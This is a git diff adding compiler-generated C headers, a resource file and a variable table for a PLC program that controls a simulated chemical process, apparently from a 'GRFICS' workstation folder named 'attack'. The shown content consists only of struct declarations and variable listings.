__DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; 